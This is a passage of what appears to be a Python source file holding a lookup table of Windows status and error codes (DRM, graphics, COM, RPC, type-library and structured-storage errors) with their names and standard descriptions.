or more of the requested data writer plug-ins failed.\"),\n        0x000D2726: (\"NS_S_DRM_LICENSE_ACQUIRED\", \"Status message: The license was acquired.\"),\n        0x000D2727: (\"NS_S_DRM_INDIVIDUALIZED\", \"Status message: The security upgrade has been completed.\"),\n        0x000D2746: (\"NS_S_DRM_MONITOR_CANCELLED\", \"Status message: License monitoring has been canceled.\"),\n        0x000D2747: (\"NS_S_DRM_ACQUIRE_CANCELLED\", \"Status message: License acquisition has been canceled.\"),\n        0x000D276E: (\"NS_S_DRM_BURNABLE_TRACK\", \"The track is burnable and had no playlist burn limit.\"),\n        0x000D276F: (\"NS_S_DRM_BURNABLE_TRACK_WITH_PLAYLIST_RESTRICTION\", \"The track is burnable but has a playlist burn limit.\"),\n        0x000D27DE: (\"NS_S_DRM_NEEDS_INDIVIDUALIZATION\", \"A security upgrade is required to perform the operation on this media file.\"),\n        0x000D2AF8: (\"NS_S_REBOOT_RECOMMENDED\", \"Installation was successful; however, some file cleanup is not complete. For best results, restart your computer.\"),\n        0x000D2AF9: (\"NS_S_REBOOT_REQUIRED\", \"Installation was successful; however, some file cleanup is not complete. To continue, you must restart your computer.\"),\n        0x000D2F09: (\"NS_S_EOSRECEDING\", \"EOS hit during rewinding.\"),\n        0x000D2F0D: (\"NS_S_CHANGENOTICE\", \"Internal.\"),\n        0x001F0001: (\"ERROR_FLT_IO_COMPLETE\", \"The IO was completed by a filter.\"),\n        0x00262307: (\"ERROR_GRAPHICS_MODE_NOT_PINNED\", \"No mode is pinned on the specified VidPN source or target.\"),\n        0x0026231E: (\"ERROR_GRAPHICS_NO_PREFERRED_MODE\", \"Specified mode set does not specify preference for one of its modes.\"),\n        0x0026234B: (\"ERROR_GRAPHICS_DATASET_IS_EMPTY\", \"Specified data set (for example, mode set, frequency range set, descriptor set, and topology) is empty.\"),\n        0x0026234C: (\"ERROR_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET\", \"Specified data set (for example, mode set, frequency range set, descriptor set, and topology) does not contain any more elements.\"),\n        0x00262351: (\"ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED\", \"Specified content transformation is not pinned on the specified VidPN present path.\"),\n        0x00300100: (\"PLA_S_PROPERTY_IGNORED\", \"Property value will be ignored.\"),\n        0x00340001: (\"ERROR_NDIS_INDICATION_REQUIRED\", \"The request will be completed later by a Network Driver Interface Specification (NDIS) status indication.\"),\n        0x0DEAD100: (\"TRK_S_OUT_OF_SYNC\", \"The VolumeSequenceNumber of a MOVE_NOTIFICATION request is incorrect.\"),\n        0x0DEAD102: (\"TRK_VOLUME_NOT_FOUND\", \"The VolumeID in a request was not found in the server's ServerVolumeTable.\"),\n        0x0DEAD103: (\"TRK_VOLUME_NOT_OWNED\", \"A notification was sent to the LnkSvrMessage method, but the RequestMachine for the request was not the VolumeOwner for a VolumeID in the request.\"),\n        0x0DEAD107: (\"TRK_S_NOTIFICATION_QUOTA_EXCEEDED\", \"The server received a MOVE_NOTIFICATION request, but the FileTable size limit has already been reached.\"),\n        0x400D004F: (\"NS_I_TIGER_START\", \"The Title Server %1 is running.\"),\n        0x400D0051: (\"NS_I_CUB_START\", \"Content Server %1 (%2) is starting.\"),\n        0x400D0052: (\"NS_I_CUB_RUNNING\", \"Content Server %1 (%2) is running.\"),\n        0x400D0054: (\"NS_I_DISK_START\", \"Disk %1 ( %2 ) on Content Server %3, is running.\"),\n        0x400D0056: (\"NS_I_DISK_REBUILD_STARTED\", \"Started rebuilding disk %1 ( %2 ) on Content Server %3.\"),\n        0x400D0057: (\"NS_I_DISK_REBUILD_FINISHED\", \"Finished rebuilding disk %1 ( %2 ) on Content Server %3.\"),\n        0x400D0058: (\"NS_I_DISK_REBUILD_ABORTED\", \"Aborted rebuilding disk %1 ( %2 ) on Content Server %3.\"),\n        0x400D0059: (\"NS_I_LIMIT_FUNNELS\", \"A NetShow administrator at network location %1 set the data stream limit to %2 streams.\"),\n        0x400D005A: (\"NS_I_START_DISK\", \"A NetShow administrator at network location %1 started disk %2.\"),\n        0x400D005B: (\"NS_I_STOP_DISK\", \"A NetShow administrator at network location %1 stopped disk %2.\"),\n        0x400D005C: (\"NS_I_STOP_CUB\", \"A NetShow administrator at network location %1 stopped Content Server %2.\"),\n        0x400D005D: (\"NS_I_KILL_USERSESSION\", \"A NetShow administrator at network location %1 aborted user session %2 from the system.\"),\n        0x400D005E: (\"NS_I_KILL_CONNECTION\", \"A NetShow administrator at network location %1 aborted obsolete connection %2 from the system.\"),\n        0x400D005F: (\"NS_I_REBUILD_DISK\", \"A NetShow administrator at network location %1 started rebuilding disk %2.\"),\n        0x400D0069: (\"MCMADM_I_NO_EVENTS\", \"Event initialization failed, there will be no MCM events.\"),\n        0x400D006E: (\"NS_I_LOGGING_FAILED\", \"The logging operation failed.\"),\n        0x400D0070: (\"NS_I_LIMIT_BANDWIDTH\", \"A NetShow administrator at network location %1 set the maximum bandwidth limit to %2 bps.\"),\n        0x400D0191: (\"NS_I_CUB_UNFAIL_LINK\", \"Content Server %1 (%2) has established its link to Content Server %3.\"),\n        0x400D0193: (\"NS_I_RESTRIPE_START\", \"Restripe operation has started.\"),\n        0x400D0194: (\"NS_I_RESTRIPE_DONE\", \"Restripe operation has completed.\"),\n        0x400D0196: (\"NS_I_RESTRIPE_DISK_OUT\", \"Content disk %1 (%2) on Content Server %3 has been restriped out.\"),\n        0x400D0197: (\"NS_I_RESTRIPE_CUB_OUT\", \"Content server %1 (%2) has been restriped out.\"),\n        0x400D0198: (\"NS_I_DISK_STOP\", \"Disk %1 ( %2 ) on Content Server %3, has been offlined.\"),\n        0x400D14BE: (\"NS_I_PLAYLIST_CHANGE_RECEDING\", \"The playlist change occurred while receding.\"),\n        0x400D2EFF: (\"NS_I_RECONNECTED\", \"The client is reconnected.\"),\n        0x400D2F01: (\"NS_I_NOLOG_STOP\", \"Forcing a switch to a pending header on start.\"),\n        0x400D2F03: (\"NS_I_EXISTING_PACKETIZER\", \"There is already an existing packetizer plugin for the stream.\"),\n        0x400D2F04: (\"NS_I_MANUAL_PROXY\", \"The proxy setting is manual.\"),\n        0x40262009: (\"ERROR_GRAPHICS_DRIVER_MISMATCH\", \"The kernel driver detected a version mismatch between it and the user mode driver.\"),\n        0x4026242F: (\"ERROR_GRAPHICS_UNKNOWN_CHILD_STATUS\", \"Child device presence was not reliably detected.\"),\n        0x40262437: (\"ERROR_GRAPHICS_LEADLINK_START_DEFERRED\", \"Starting the lead-link adapter has been deferred temporarily.\"),\n        0x40262439: (\"ERROR_GRAPHICS_POLLING_TOO_FREQUENTLY\", \"The display adapter is being polled for children too frequently at the same polling level.\"),\n        0x4026243A: (\"ERROR_GRAPHICS_START_DEFERRED\", \"Starting the adapter has been deferred temporarily.\"),\n        0x8000000A: (\"E_PENDING\", \"The data necessary to complete this operation is not yet available.\"),\n        0x80004001: (\"E_NOTIMPL\", \"Not implemented.\"),\n        0x80004002: (\"E_NOINTERFACE\", \"No such interface supported.\"),\n        0x80004003: (\"E_POINTER\", \"Invalid pointer.\"),\n        0x80004004: (\"E_ABORT\", \"Operation aborted.\"),\n        0x80004005: (\"E_FAIL\", \"Unspecified error.\"),\n        0x80004006: (\"CO_E_INIT_TLS\", \"Thread local storage failure.\"),\n        0x80004007: (\"CO_E_INIT_SHARED_ALLOCATOR\", \"Get shared memory allocator failure.\"),\n        0x80004008: (\"CO_E_INIT_MEMORY_ALLOCATOR\", \"Get memory allocator failure.\"),\n        0x80004009: (\"CO_E_INIT_CLASS_CACHE\", \"Unable to initialize class cache.\"),\n        0x8000400A: (\"CO_E_INIT_RPC_CHANNEL\", \"Unable to initialize remote procedure call (RPC) services.\"),\n        0x8000400B: (\"CO_E_INIT_TLS_SET_CHANNEL_CONTROL\", \"Cannot set thread local storage channel control.\"),\n        0x8000400C: (\"CO_E_INIT_TLS_CHANNEL_CONTROL\", \"Could not allocate thread local storage channel control.\"),\n        0x8000400D: (\"CO_E_INIT_UNACCEPTED_USER_ALLOCATOR\", \"The user-supplied memory allocator is unacceptable.\"),\n        0x8000400E: (\"CO_E_INIT_SCM_MUTEX_EXISTS\", \"The OLE service mutex already exists.\"),\n        0x8000400F: (\"CO_E_INIT_SCM_FILE_MAPPING_EXISTS\", \"The OLE service file mapping already exists.\"),\n        0x80004010: (\"CO_E_INIT_SCM_MAP_VIEW_OF_FILE\", \"Unable to map view of file for OLE service.\"),\n        0x80004011: (\"CO_E_INIT_SCM_EXEC_FAILURE\", \"Failure attempting to launch OLE service.\"),\n        0x80004012: (\"CO_E_INIT_ONLY_SINGLE_THREADED\", \"There was an attempt to call CoInitialize a second time while single-threaded.\"),\n        0x80004013: (\"CO_E_CANT_REMOTE\", \"A Remote activation was necessary but was not allowed.\"),\n        0x80004014: (\"CO_E_BAD_SERVER_NAME\", \"A Remote activation was necessary, but the server name provided was invalid.\"),\n        0x80004015: (\"CO_E_WRONG_SERVER_IDENTITY\", \"The class is configured to run as a security ID different from the caller.\"),\n        0x80004016: (\"CO_E_OLE1DDE_DISABLED\", \"Use of OLE1 services requiring Dynamic Data Exchange (DDE) Windows is disabled.\"),\n        0x80004017: (\"CO_E_RUNAS_SYNTAX\", \"A RunAs specification must be <domain name>\\\\<user name> or simply <user name>.\"),\n        0x80004018: (\"CO_E_CREATEPROCESS_FAILURE\", \"The server process could not be started. The path name may be incorrect.\"),\n        0x80004019: (\"CO_E_RUNAS_CREATEPROCESS_FAILURE\", \"The server process could not be started as the configured identity. The path name may be incorrect or unavailable.\"),\n        0x8000401A: (\"CO_E_RUNAS_LOGON_FAILURE\", \"The server process could not be started because the configured identity is incorrect. Check the user name and password.\"),\n        0x8000401B: (\"CO_E_LAUNCH_PERMSSION_DENIED\", \"The client is not allowed to launch this server.\"),\n        0x8000401C: (\"CO_E_START_SERVICE_FAILURE\", \"The service providing this server could not be started.\"),\n        0x8000401D: (\"CO_E_REMOTE_COMMUNICATION_FAILURE\", \"This computer was unable to communicate with the computer providing the server.\"),\n        0x8000401E: (\"CO_E_SERVER_START_TIMEOUT\", \"The server did not respond after being launched.\"),\n        0x8000401F: (\"CO_E_CLSREG_INCONSISTENT\", \"The registration information for this server is inconsistent or incomplete.\"),\n        0x80004020: (\"CO_E_IIDREG_INCONSISTENT\", \"The registration information for this interface is inconsistent or incomplete.\"),\n        0x80004021: (\"CO_E_NOT_SUPPORTED\", \"The operation attempted is not supported.\"),\n        0x80004022: (\"CO_E_RELOAD_DLL\", \"A DLL must be loaded.\"),\n        0x80004023: (\"CO_E_MSI_ERROR\", \"A Microsoft Software Installer error was encountered.\"),\n        0x80004024: (\"CO_E_ATTEMPT_TO_CREATE_OUTSIDE_CLIENT_CONTEXT\", \"The specified activation could not occur in the client context as specified.\"),\n        0x80004025: (\"CO_E_SERVER_PAUSED\", \"Activations on the server are paused.\"),\n        0x80004026: (\"CO_E_SERVER_NOT_PAUSED\", \"Activations on the server are not paused.\"),\n        0x80004027: (\"CO_E_CLASS_DISABLED\", \"The component or application containing the component has been disabled.\"),\n        0x80004028: (\"CO_E_CLRNOTAVAILABLE\", \"The common language runtime is not available.\"),\n        0x80004029: (\"CO_E_ASYNC_WORK_REJECTED\", \"The thread-pool rejected the submitted asynchronous work.\"),\n        0x8000402A: (\"CO_E_SERVER_INIT_TIMEOUT\", \"The server started, but it did not finish initializing in a timely fashion.\"),\n        0x8000402B: (\"CO_E_NO_SECCTX_IN_ACTIVATE\", \"Unable to complete the call because there is no COM+ security context inside IObjectControl.Activate.\"),\n        0x80004030: (\"CO_E_TRACKER_CONFIG\", \"The provided tracker configuration is invalid.\"),\n        0x80004031: (\"CO_E_THREADPOOL_CONFIG\", \"The provided thread pool configuration is invalid.\"),\n        0x80004032: (\"CO_E_SXS_CONFIG\", \"The provided side-by-side configuration is invalid.\"),\n        0x80004033: (\"CO_E_MALFORMED_SPN\", \"The server principal name (SPN) obtained during security negotiation is malformed.\"),\n        0x8000FFFF: (\"E_UNEXPECTED\", \"Catastrophic failure.\"),\n        0x80010001: (\"RPC_E_CALL_REJECTED\", \"Call was rejected by callee.\"),\n        0x80010002: (\"RPC_E_CALL_CANCELED\", \"Call was canceled by the message filter.\"),\n        0x80010003: (\"RPC_E_CANTPOST_INSENDCALL\", \"The caller is dispatching an intertask SendMessage call and cannot call out via PostMessage.\"),\n        0x80010004: (\"RPC_E_CANTCALLOUT_INASYNCCALL\", \"The caller is dispatching an asynchronous call and cannot make an outgoing call on behalf of this call.\"),\n        0x80010005: (\"RPC_E_CANTCALLOUT_INEXTERNALCALL\", \"It is illegal to call out while inside message filter.\"),\n        0x80010006: (\"RPC_E_CONNECTION_TERMINATED\", \"The connection terminated or is in a bogus state and can no longer be used. Other connections are still valid.\"),\n        0x80010007: (\"RPC_E_SERVER_DIED\", \"The callee (the server, not the server application) is not available and disappeared; all connections are invalid. The call may have executed.\"),\n        0x80010008: (\"RPC_E_CLIENT_DIED\", \"The caller (client) disappeared while the callee (server) was processing a call.\"),\n        0x80010009: (\"RPC_E_INVALID_DATAPACKET\", \"The data packet with the marshaled parameter data is incorrect.\"),\n        0x8001000A: (\"RPC_E_CANTTRANSMIT_CALL\", \"The call was not transmitted properly; the message queue was full and was not emptied after yielding.\"),\n        0x8001000B: (\"RPC_E_CLIENT_CANTMARSHAL_DATA\", \"The client RPC caller cannot marshal the parameter data due to errors (such as low memory).\"),\n        0x8001000C: (\"RPC_E_CLIENT_CANTUNMARSHAL_DATA\", \"The client RPC caller cannot unmarshal the return data due to errors (such as low memory).\"),\n        0x8001000D: (\"RPC_E_SERVER_CANTMARSHAL_DATA\", \"The server RPC callee cannot marshal the return data due to errors (such as low memory).\"),\n        0x8001000E: (\"RPC_E_SERVER_CANTUNMARSHAL_DATA\", \"The server RPC callee cannot unmarshal the parameter data due to errors (such as low memory).\"),\n        0x8001000F: (\"RPC_E_INVALID_DATA\", \"Received data is invalid. The data may be server or client data.\"),\n        0x80010010: (\"RPC_E_INVALID_PARAMETER\", \"A particular parameter is invalid and cannot be (un)marshaled.\"),\n        0x80010011: (\"RPC_E_CANTCALLOUT_AGAIN\", \"There is no second outgoing call on same channel in DDE conversation.\"),\n        0x80010012: (\"RPC_E_SERVER_DIED_DNE\", \"The callee (the server, not the server application) is not available and disappeared; all connections are invalid. The call did not execute.\"),\n        0x80010100: (\"RPC_E_SYS_CALL_FAILED\", \"System call failed.\"),\n        0x80010101: (\"RPC_E_OUT_OF_RESOURCES\", \"Could not allocate some required resource (such as memory or events)\"),\n        0x80010102: (\"RPC_E_ATTEMPTED_MULTITHREAD\", \"Attempted to make calls on more than one thread in single-threaded mode.\"),\n        0x80010103: (\"RPC_E_NOT_REGISTERED\", \"The requested interface is not registered on the server object.\"),\n        0x80010104: (\"RPC_E_FAULT\", \"RPC could not call the server or could not return the results of calling the server.\"),\n        0x80010105: (\"RPC_E_SERVERFAULT\", \"The server threw an exception.\"),\n        0x80010106: (\"RPC_E_CHANGED_MODE\", \"Cannot change thread mode after it is set.\"),\n        0x80010107: (\"RPC_E_INVALIDMETHOD\", \"The method called does not exist on the server.\"),\n        0x80010108: (\"RPC_E_DISCONNECTED\", \"The object invoked has disconnected from its clients.\"),\n        0x80010109: (\"RPC_E_RETRY\", \"The object invoked chose not to process the call now. Try again later.\"),\n        0x8001010A: (\"RPC_E_SERVERCALL_RETRYLATER\", \"The message filter indicated that the application is busy.\"),\n        0x8001010B: (\"RPC_E_SERVERCALL_REJECTED\", \"The message filter rejected the call.\"),\n        0x8001010C: (\"RPC_E_INVALID_CALLDATA\", \"A call control interface was called with invalid data.\"),\n        0x8001010D: (\"RPC_E_CANTCALLOUT_ININPUTSYNCCALL\", \"An outgoing call cannot be made because the application is dispatching an input-synchronous call.\"),\n        0x8001010E: (\"RPC_E_WRONG_THREAD\", \"The application called an interface that was marshaled for a different thread.\"),\n        0x8001010F: (\"RPC_E_THREAD_NOT_INIT\", \"CoInitialize has not been called on the current thread.\"),\n        0x80010110: (\"RPC_E_VERSION_MISMATCH\", \"The version of OLE on the client and server machines does not match.\"),\n        0x80010111: (\"RPC_E_INVALID_HEADER\", \"OLE received a packet with an invalid header.\"),\n        0x80010112: (\"RPC_E_INVALID_EXTENSION\", \"OLE received a packet with an invalid extension.\"),\n        0x80010113: (\"RPC_E_INVALID_IPID\", \"The requested object or interface does not exist.\"),\n        0x80010114: (\"RPC_E_INVALID_OBJECT\", \"The requested object does not exist.\"),\n        0x80010115: (\"RPC_S_CALLPENDING\", \"OLE has sent a request and is waiting for a reply.\"),\n        0x80010116: (\"RPC_S_WAITONTIMER\", \"OLE is waiting before retrying a request.\"),\n        0x80010117: (\"RPC_E_CALL_COMPLETE\", \"Call context cannot be accessed after call completed.\"),\n        0x80010118: (\"RPC_E_UNSECURE_CALL\", \"Impersonate on unsecure calls is not supported.\"),\n        0x80010119: (\"RPC_E_TOO_LATE\", \"Security must be initialized before any interfaces are marshaled or unmarshaled. It cannot be changed after initialized.\"),\n        0x8001011A: (\"RPC_E_NO_GOOD_SECURITY_PACKAGES\", \"No security packages are installed on this machine, the user is not logged on, or there are no compatible security packages between the client and server.\"),\n        0x8001011B: (\"RPC_E_ACCESS_DENIED\", \"Access is denied.\"),\n        0x8001011C: (\"RPC_E_REMOTE_DISABLED\", \"Remote calls are not allowed for this process.\"),\n        0x8001011D: (\"RPC_E_INVALID_OBJREF\", \"The marshaled interface data packet (OBJREF) has an invalid or unknown format.\"),\n        0x8001011E: (\"RPC_E_NO_CONTEXT\", \"No context is associated with this call. This happens for some custom marshaled calls and on the client side of the call.\"),\n        0x8001011F: (\"RPC_E_TIMEOUT\", \"This operation returned because the time-out period expired.\"),\n        0x80010120: (\"RPC_E_NO_SYNC\", \"There are no synchronize objects to wait on.\"),\n        0x80010121: (\"RPC_E_FULLSIC_REQUIRED\", \"Full subject issuer chain Secure Sockets Layer (SSL) principal name expected from the server.\"),\n        0x80010122: (\"RPC_E_INVALID_STD_NAME\", \"Principal name is not a valid Microsoft standard (msstd) name.\"),\n        0x80010123: (\"CO_E_FAILEDTOIMPERSONATE\", \"Unable to impersonate DCOM client.\"),\n        0x80010124: (\"CO_E_FAILEDTOGETSECCTX\", \"Unable to obtain server's security context.\"),\n        0x80010125: (\"CO_E_FAILEDTOOPENTHREADTOKEN\", \"Unable to open the access token of the current thread.\"),\n        0x80010126: (\"CO_E_FAILEDTOGETTOKENINFO\", \"Unable to obtain user information from an access token.\"),\n        0x80010127: (\"CO_E_TRUSTEEDOESNTMATCHCLIENT\", \"The client who called IAccessControl::IsAccessPermitted was not the trustee provided to the method.\"),\n        0x80010128: (\"CO_E_FAILEDTOQUERYCLIENTBLANKET\", \"Unable to obtain the client's security blanket.\"),\n        0x80010129: (\"CO_E_FAILEDTOSETDACL\", \"Unable to set a discretionary access control list (ACL) into a security descriptor.\"),\n        0x8001012A: (\"CO_E_ACCESSCHECKFAILED\", \"The system function AccessCheck returned false.\"),\n        0x8001012B: (\"CO_E_NETACCESSAPIFAILED\", \"Either NetAccessDel or NetAccessAdd returned an error code.\"),\n        0x8001012C: (\"CO_E_WRONGTRUSTEENAMESYNTAX\", \"One of the trustee strings provided by the user did not conform to the <Domain>\\\\<Name> syntax and it was not the *\\\" string\\\".\"),\n        0x8001012D: (\"CO_E_INVALIDSID\", \"One of the security identifiers provided by the user was invalid.\"),\n        0x8001012E: (\"CO_E_CONVERSIONFAILED\", \"Unable to convert a wide character trustee string to a multiple-byte trustee string.\"),\n        0x8001012F: (\"CO_E_NOMATCHINGSIDFOUND\", \"Unable to find a security identifier that corresponds to a trustee string provided by the user.\"),\n        0x80010130: (\"CO_E_LOOKUPACCSIDFAILED\", \"The system function LookupAccountSID failed.\"),\n        0x80010131: (\"CO_E_NOMATCHINGNAMEFOUND\", \"Unable to find a trustee name that corresponds to a security identifier provided by the user.\"),\n        0x80010132: (\"CO_E_LOOKUPACCNAMEFAILED\", \"The system function LookupAccountName failed.\"),\n        0x80010133: (\"CO_E_SETSERLHNDLFAILED\", \"Unable to set or reset a serialization handle.\"),\n        0x80010134: (\"CO_E_FAILEDTOGETWINDIR\", \"Unable to obtain the Windows directory.\"),\n        0x80010135: (\"CO_E_PATHTOOLONG\", \"Path too long.\"),\n        0x80010136: (\"CO_E_FAILEDTOGENUUID\", \"Unable to generate a UUID.\"),\n        0x80010137: (\"CO_E_FAILEDTOCREATEFILE\", \"Unable to create file.\"),\n        0x80010138: (\"CO_E_FAILEDTOCLOSEHANDLE\", \"Unable to close a serialization handle or a file handle.\"),\n        0x80010139: (\"CO_E_EXCEEDSYSACLLIMIT\", \"The number of access control entries (ACEs) in an ACL exceeds the system limit.\"),\n        0x8001013A: (\"CO_E_ACESINWRONGORDER\", \"Not all the DENY_ACCESS ACEs are arranged in front of the GRANT_ACCESS ACEs in the stream.\"),\n        0x8001013B: (\"CO_E_INCOMPATIBLESTREAMVERSION\", \"The version of ACL format in the stream is not supported by this implementation of IAccessControl.\"),\n        0x8001013C: (\"CO_E_FAILEDTOOPENPROCESSTOKEN\", \"Unable to open the access token of the server process.\"),\n        0x8001013D: (\"CO_E_DECODEFAILED\", \"Unable to decode the ACL in the stream provided by the user.\"),\n        0x8001013F: (\"CO_E_ACNOTINITIALIZED\", \"The COM IAccessControl object is not initialized.\"),\n        0x80010140: (\"CO_E_CANCEL_DISABLED\", \"Call Cancellation is disabled.\"),\n        0x8001FFFF: (\"RPC_E_UNEXPECTED\", \"An internal error occurred.\"),\n        0x80020001: (\"DISP_E_UNKNOWNINTERFACE\", \"Unknown interface.\"),\n        0x80020003: (\"DISP_E_MEMBERNOTFOUND\", \"Member not found.\"),\n        0x80020004: (\"DISP_E_PARAMNOTFOUND\", \"Parameter not found.\"),\n        0x80020005: (\"DISP_E_TYPEMISMATCH\", \"Type mismatch.\"),\n        0x80020006: (\"DISP_E_UNKNOWNNAME\", \"Unknown name.\"),\n        0x80020007: (\"DISP_E_NONAMEDARGS\", \"No named arguments.\"),\n        0x80020008: (\"DISP_E_BADVARTYPE\", \"Bad variable type.\"),\n        0x80020009: (\"DISP_E_EXCEPTION\", \"Exception occurred.\"),\n        0x8002000A: (\"DISP_E_OVERFLOW\", \"Out of present range.\"),\n        0x8002000B: (\"DISP_E_BADINDEX\", \"Invalid index.\"),\n        0x8002000C: (\"DISP_E_UNKNOWNLCID\", \"Unknown language.\"),\n        0x8002000D: (\"DISP_E_ARRAYISLOCKED\", \"Memory is locked.\"),\n        0x8002000E: (\"DISP_E_BADPARAMCOUNT\", \"Invalid number of parameters.\"),\n        0x8002000F: (\"DISP_E_PARAMNOTOPTIONAL\", \"Parameter not optional.\"),\n        0x80020010: (\"DISP_E_BADCALLEE\", \"Invalid callee.\"),\n        0x80020011: (\"DISP_E_NOTACOLLECTION\", \"Does not support a collection.\"),\n        0x80020012: (\"DISP_E_DIVBYZERO\", \"Division by zero.\"),\n        0x80020013: (\"DISP_E_BUFFERTOOSMALL\", \"Buffer too small.\"),\n        0x80028016: (\"TYPE_E_BUFFERTOOSMALL\", \"Buffer too small.\"),\n        0x80028017: (\"TYPE_E_FIELDNOTFOUND\", \"Field name not defined in the record.\"),\n        0x80028018: (\"TYPE_E_INVDATAREAD\", \"Old format or invalid type library.\"),\n        0x80028019: (\"TYPE_E_UNSUPFORMAT\", \"Old format or invalid type library.\"),\n        0x8002801C: (\"TYPE_E_REGISTRYACCESS\", \"Error accessing the OLE registry.\"),\n        0x8002801D: (\"TYPE_E_LIBNOTREGISTERED\", \"Library not registered.\"),\n        0x80028027: (\"TYPE_E_UNDEFINEDTYPE\", \"Bound to unknown type.\"),\n        0x80028028: (\"TYPE_E_QUALIFIEDNAMEDISALLOWED\", \"Qualified name disallowed.\"),\n        0x80028029: (\"TYPE_E_INVALIDSTATE\", \"Invalid forward reference, or reference to uncompiled type.\"),\n        0x8002802A: (\"TYPE_E_WRONGTYPEKIND\", \"Type mismatch.\"),\n        0x8002802B: (\"TYPE_E_ELEMENTNOTFOUND\", \"Element not found.\"),\n        0x8002802C: (\"TYPE_E_AMBIGUOUSNAME\", \"Ambiguous name.\"),\n        0x8002802D: (\"TYPE_E_NAMECONFLICT\", \"Name already exists in the library.\"),\n        0x8002802E: (\"TYPE_E_UNKNOWNLCID\", \"Unknown language code identifier (LCID).\"),\n        0x8002802F: (\"TYPE_E_DLLFUNCTIONNOTFOUND\", \"Function not defined in specified DLL.\"),\n        0x800288BD: (\"TYPE_E_BADMODULEKIND\", \"Wrong module kind for the operation.\"),\n        0x800288C5: (\"TYPE_E_SIZETOOBIG\", \"Size may not exceed 64 KB.\"),\n        0x800288C6: (\"TYPE_E_DUPLICATEID\", \"Duplicate ID in inheritance hierarchy.\"),\n        0x800288CF: (\"TYPE_E_INVALIDID\", \"Incorrect inheritance depth in standard OLE hmember.\"),\n        0x80028CA0: (\"TYPE_E_TYPEMISMATCH\", \"Type mismatch.\"),\n        0x80028CA1: (\"TYPE_E_OUTOFBOUNDS\", \"Invalid number of arguments.\"),\n        0x80028CA2: (\"TYPE_E_IOERROR\", \"I/O error.\"),\n        0x80028CA3: (\"TYPE_E_CANTCREATETMPFILE\", \"Error creating unique .tmp file.\"),\n        0x80029C4A: (\"TYPE_E_CANTLOADLIBRARY\", \"Error loading type library or DLL.\"),\n        0x80029C83: (\"TYPE_E_INCONSISTENTPROPFUNCS\", \"Inconsistent property functions.\"),\n        0x80029C84: (\"TYPE_E_CIRCULARTYPE\", \"Circular dependency between types and modules.\"),\n        0x80030001: (\"STG_E_INVALIDFUNCTION\", \"Unable to perform requested operation.\"),\n        0x80030002: (\"STG_E_FILENOTFOUND\", \"%1 could not be found.\"),\n        0x80030003: (\"STG_E_PATHNOTFOUND\", \"The path %1 could not be found.\"),\n        0x80030004: (\"STG_E_TOOMANYOPENFILES\", \"There are insufficient resources to open another file.\"),\n        0x80030005: (\"STG_E_ACCESSDENIED\", \"Access denied.\"),\n        0x80030006: (\"STG_E_INVALIDHANDLE\", \"Attempted an operation on an invalid object.\"),\n        0x80030008: (\"STG_E_INSUFFICIENTMEMORY\", \"There is insufficient memory available to complete operation.\"),\n        0x80030009: (\"STG_E_INVALIDPOINTER\", \"Invalid pointer error.\"),\n        0x80030012: (\"STG_E_NOMOREFILES\", \"There are no more entries to return.\"),\n        0x80030013: (\"STG_E_DISKISWRITEPROTECTED\", \"Disk is write-protected.\"),\n        0x80030019: (\"STG_E_SEEKERROR\", \"An error occurred during a seek operation.\"),\n        0x8003001D: (\"STG_E_WRITEFAULT\", \"A disk error occurred during a write operation.\"),\n        0x8003001E: (\"STG_E_READFAULT\", \"A disk error occurred during a read operation.\"),\n        0x80030020: (\"STG_E_SHAREVIOLATION\", \"A share violation has occurred.\"),\n        0x80030021: (\"STG_E_LOCKVIOLATION\", \"A lock violation has occurred.\"),\n        0x80030050: (\"STG_E_FILEALREADYEXISTS\", \"%1 already exists.\"),\n        0x80030057: (\"STG_E_INVALIDPARAMETER\", \"Invalid parameter error.\"),\n        0x80030070: (\"STG_E_MEDIUMFULL\", \"There is insufficient disk space to complete operation.\"),\n        0x800300F0: (\"STG_E_PROPSETMISMATCHED\", \"Illegal write of non-simple property to simple property set.\"),\n        0x800300FA: (\"STG_E_ABNORMALAPIEXIT\", \"An application programming interface (API) call exited abnormally.\"),\n        0x800300FB: (\"STG_E_INVALIDHEADER\", \"The file %1 is not a valid compound file.\"),\n        0x800300FC: (\"STG_E_INVALIDNAME\", \"The name %1 is not valid.\"),\n        0x800300FD: (\"STG_E_UNKNOWN\", \"An unexpected error occurred.\"),\n        0x800300FE: (\"STG_E_UNIMPLEMENTEDFUNCTION\", \"That function is not implemented.\"),\n        0x800300FF: (\"STG_E_INVALIDFLAG\", \"Invalid flag error.\"),\n        0x80030100: (\"STG_E_INUSE\", \"Attempted to use an object that is busy.\"),\n        0x80030101: (\"STG_E_NOTCURRENT\", \"The storage has been changed since the last commit.\"),\n        0x80030102: (\"STG_E_REVERTED\", \"Attempted to use an object that has ceased to exist.\"),\n        0x80030103: (\"STG_E_CANTSAVE\", \"Cannot save.\"),\n        0x80030104: (\"STG_E_OLDFORMAT\", \"The compound file %1 was produced with an incompatible version of storage.\"),\n        0x80030105: (\"STG_E_OLDDLL\", \"The compound file %1 was produced with a newer version of storage.\"),\n        0x80030106: (\"STG_E_SHAREREQUIRED\", \"Share.exe or equivalent is required for operation.\"),\n        0x80030107: (\"STG_E_NOTFILEBASEDSTORAGE\", \"Illegal operation called on non-file based storage.\"),\n        0x80030108: (\"STG_E_EXTANTMARSHALLINGS\", \"Illegal operation called on object with extant marshalings.\"),\n        0x80030109: (\"STG_E_DOCFILECORRUPT\", \"The docfile has been corrupted.\"),\n        0x80030110: (\"STG_E_BADBASEADDRESS\", \"OLE32.DLL has been loaded at the wrong address.\"),\n        0x80030111: (\"STG_E_DOCFILETOOLARGE\", \"The compound file is too large for the current implementation.\"),\n        0x80030112: (\"STG_E_NOTSIMPLEFORMAT\", \"The compound file was not created with the STGM_SIMPLE flag.\"),\n        0x80030201: (\"STG_E_INCOMPLETE\", \"The file download was aborted abnormally. The file is incomplete.\"),\n        0x80030202: (\"STG_E_TERMINATED\", \"The file download has been terminated.\"),\n        0x80030305: (\"STG_E_STATUS_COPY_PROTECTION_FAILURE\", \"Generic Copy Protection Error.\"),\n        0x80030306: (\"STG_E_CSS_AUTHENTICATION_FAILURE\", \"Copy Protection Error-DVD CSS Authentication failed.\"),\n        0x80030307: (\"STG_E_CSS_KEY_NOT_PRESENT\", \"Copy Protection Error-The given sector does not have a valid CSS key.\"),\n        0x80030308: (\"STG_E_CSS_KEY_NOT_ESTABLISHED\", \"Copy Protection Error-DVD session key not established.\"),\n        0x80030309: 